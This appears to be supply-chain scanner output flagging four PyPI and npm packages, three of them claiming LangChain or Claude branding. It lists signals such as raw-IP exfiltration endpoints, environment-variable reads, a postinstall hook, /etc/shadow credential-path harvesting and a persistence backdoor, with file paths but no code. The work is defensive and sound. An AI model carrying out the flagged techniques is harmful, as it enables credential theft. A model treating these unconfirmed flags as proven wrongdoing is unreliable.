• HIGHClaims critical enterprise brand identity ('LANGCHAIN').
• HIGHPublisher email 'sophia.eagent@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 199 days ago within the 1-year AI tool proliferation window.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in rustchain_langchain-0.1.0/evangelist_agent.py:31
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in rustchain_langchain-0.1.0/evangelist_agent.py:30
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in rustchain_langchain-0.1.0/rustchain_langchain/tools.py:31
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in rustchain_langchain-0.1.0/rustchain_langchain/tools.py:31

• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in rustchain_langchain-0.1.0/evangelist_agent.py:31
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in rustchain_langchain-0.1.0/evangelist_agent.py:30
• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in rustchain_langchain-0.1.0/rustchain_langchain/tools.py:31
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in rustchain_langchain-0.1.0/rustchain_langchain/tools.py:31
• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in rustchain_langchain-0.1.0/rustchain_mcp/server.py:28
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in rustchain_langchain-0.1.0/rustchain_mcp/server.py:27

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'one-claude' matches AI hallucination template [python] + [claude] + [one].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage registered 240 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/cli.py:221
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/cli.py:356
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'GitHub Gists API Exfiltration (Dead Drop)' found in one_claude-0.1.5/one_claude/gist/api.py:9
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/gist/api.py:10

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/cli.py:221
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/cli.py:356
• EXFILTRATION_DESTINATION_DETECTED: 'GitHub Gists API Exfiltration (Dead Drop)' found in one_claude-0.1.5/one_claude/gist/api.py:9
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/gist/api.py:10
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/gist/exporter.py:36
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/teleport/sandbox.py:30
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/tui/screens/gist_modals.py:123
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/tui/screens/home.py:603

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'zuogl448@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 352 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node postinstall.js'
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/ccc-setup.js:6 (+3 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/ccc-setup.js:50 (+2 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/ccc-setup.js:32 (+4 more occurrence(s) elsewhere)
• HIGHCREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/bin/ccc.js:103

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node postinstall.js'
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/ccc-setup.js:6 (+3 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/ccc-setup.js:50 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/ccc-setup.js:32 (+4 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/bin/ccc.js:103

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in itaca_idoceo-0.8.0/src/itaca_idoceo/gui.py:724
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py:95
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py:131
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py
• INFOSubstantial functional codebase (5718 LOC across 18 file(s)).
• INFOModerate community usage with 434 monthly downloads.

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in itaca_idoceo-0.8.0/src/itaca_idoceo/gui.py:724
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py:95
• SYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py:131
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in itaca_idoceo-0.8.0/src/itaca_idoceo/integrations.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →